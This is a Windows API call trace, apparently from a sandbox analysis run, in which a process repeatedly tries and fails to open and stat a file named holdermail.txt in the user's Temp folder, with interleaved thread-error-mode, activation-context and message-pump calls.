	[0089.462] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.462] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.463] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.463] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.463] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.463] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.463] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.463] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.464] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.464] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.464] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.464] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.464] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.464] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.465] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.465] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.465] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.465] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.466] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.466] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.466] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.467] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.467] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.467] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.467] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.467] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.467] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.468] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.468] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.468] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.468] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.468] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.468] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.469] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.469] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.469] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.469] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.469] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.470] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.470] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.470] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.470] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.471] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.471] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.471] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.472] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.472] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.472] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.472] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.472] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.472] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.473] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.473] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.473] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.473] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.473] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.473] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.474] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.474] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.474] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.474] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.474] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.475] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.475] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.475] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.475] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.476] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.476] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.476] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
